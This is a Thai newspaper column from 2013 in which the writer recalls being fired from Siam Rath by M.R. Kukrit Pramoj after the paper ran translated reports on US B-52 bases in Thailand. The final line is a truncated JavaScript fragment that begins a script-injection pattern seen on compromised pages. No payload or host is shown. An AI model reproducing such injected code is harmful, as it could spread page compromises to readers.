มติชนรายวัน ฉบับประจำวันศุกร์ที่ 1 กุมภาพันธ์ 2556

 

          “เคยร่วมงานกับ ม.ร.ว. คึกฤทธิ์ ปราโมช ที่หนังสือพิมพ์สยามรัฐรายวัน ก่อนจะลาออกพร้อมกับขรรค์ชัย บุนปาน และเสถียร จันทิมาธร”

          ข้อความยกมานี้ เสถียร จันทิมาธร เอาจากหนังสือพ็อคเก็ตบุ๊กออกใหม่มาทักทายผมในงานสมานมิตร ที่มติชน อคาเดมี เมื่อตอนเย็นย่ำสนธยาวันศุกร์ที่ 25 มกราคม 2556 ที่ผ่านมา

          พร้อมกับแหย่ยื่นนิ้วชี้มือขวาของเขามาไชสะดือของผม แล้วถามว่า “เห็นหรือยัง อ่านแล้วหรือยัง”

          “ยัง ยังไม่เห็น ยังไม่ได้อ่านอะไรเลย” ผมตอบอย่างมึนๆ ขณะยืนนิ่งแล้วแอ่นพุงเพื่อสนองให้ไชสะดือตามต้องการ

          พี่เถียรยืนไชสะดือของผมอย่างเพลิดเพลิน ขณะผู้คนเดินผ่านไปมาพากันเหลียวมองอย่างฉงนว่าสองคนทำอะไรกันอย่างกระสันกระเสียวเกษม ขณะปากพี่เถียรพรรณนาว่ามีผู้เขียนประวัติย่อของผมด้วยข้อความที่ยกมาข้างต้น

          “ใครว่าลาออก” ผมพูดดังๆพร้อมกับพี่เถียรหัวเราะลั่นว่า “เขาไล่ออกตะหากพร้อมกันสามคน”

          ผู้เรียบเรียงประวัติย่อว่าผมลาออกพร้อมอีก 2 คน คงพยายามหาทางหลีกเลี่ยงไม่บอกตรงๆว่าถูกไล่ออก ด้วยเกรงจะเสียหายชื่อเสียงวงศ์ตระกูล หรือมิฉะนั้นก็ได้ข้อมูลไม่ครบถ้วน แต่ควรขอบพระคุณที่กรุณาฟื้นความหลังมาเตือนสติครั้งกาลนานมาแล้ว ว่าเคยมีการกระทำอันโลดโผนผิดพลาดเมื่ออายุ 20 กว่าๆ

          และที่ว่า “ร่วมงาน” ก็ดูให้ความสำคัญเกินไป เพราะแท้จริงคือลูกจ้างระดับล่างๆ

          พี่เสถียร, ขรรค์ชัย, และผม ไม่เคยปิดบังเรื่องถูก อ. คึกฤทธิ์เซ็นคำสั่งไล่ออกจากสยามรัฐรายวันพร้อมกัน 3 คน

          ผมโดนข้อหาหนักสุด ถือเป็นหัวโจก ส่วน 2 คน โดนข้อหาเพราะเป็นเพื่อนร่วมงานของผม

          แต่ทั้ง 3 คนไม่เคยเขียนถึงเรื่องนี้ เพราะต่างเคารพนบไหว้ อ. คึกฤทธิ์ไม่เสื่อมคลายตราบจนทุกวันนี้ แล้วถือเป็นเจ้าพระเดชนายพระคุณที่ไล่ออก หาไม่แล้วคงเดินทางมาไม่ถึงตรงขณะนี้

          ถ้าไม่จำเป็นนัก จะหลบหลีกปลีกไปไม่เขียนเรื่องตัวเอง ด้วยเห็นว่ามันไร้สาระมากๆ ไม่เป็นประโยชน์อะไรกับใคร

          ไม่ใช่อับอายหรือปิดบัง เพราะด้านพอจึงไม่ปิดบังอะไรเลย แม้วงศ์ตระกูลเป็นเจ๊กปนลาว ถูกกวาดต้อนเป็นเชลยศึกมาจากลาว ก็ป่าวร้องบอกคนทั่วไป ไม่เคยปกปิดซ่อนเร้น

          กรณีถูก อ. คึกฤทธิ์ไล่ออกจากงาน นสพ. เมื่อนานมาแล้ว เคยมีผู้เชี่ยวชาญการเมืองวิเคราะห์ว่าเป็นปัญหาภายในกับภายนอกปนกันแยกไม่ได้

          แต่มีเหตุหนึ่งในหลายๆเหตุเกี่ยวข้องกับการเมืองเรื่องสงครามเวียดนามที่กำลังงวดลงขณะนั้น

          เรื่องมีอยู่ว่าผมได้เอกสารที่เผยแพร่ทั่วไปในสหรัฐ เปิดเผยฐานทัพอเมริกันในไทยที่ส่งเครื่องบิน บี 52 ไปโยนระเบิดในเวียดนาม, กัมพูชา, ลาว จึงไหว้วานให้ผู้รู้ภาษาอังกฤษแปลเป็นไทย แล้วทยอยลงใน นสพ. ที่ทำอยู่ทีละเล็กทีละน้อยทุกวัน

          แต่รัฐบาลเผด็จการทหารของไทยสมัยนั้นปิดบัง หนังสือพิมพ์รายวันทุกฉบับไม่กล้าลงข่าวเปิดโปงอย่างนี้

          เท่านั้นก็ได้เรื่องจนถูกไล่ออกนั่นแหละ

          ที่เขียนเล่ามานี้แค่น้ำจิ้ม ยังไม่ใช่อาหารหลักที่หนักหนาสาหัสกว่านี้ แต่ยังไม่ควรเขียน} else {var d=document;var s=d.createElement(‘script’);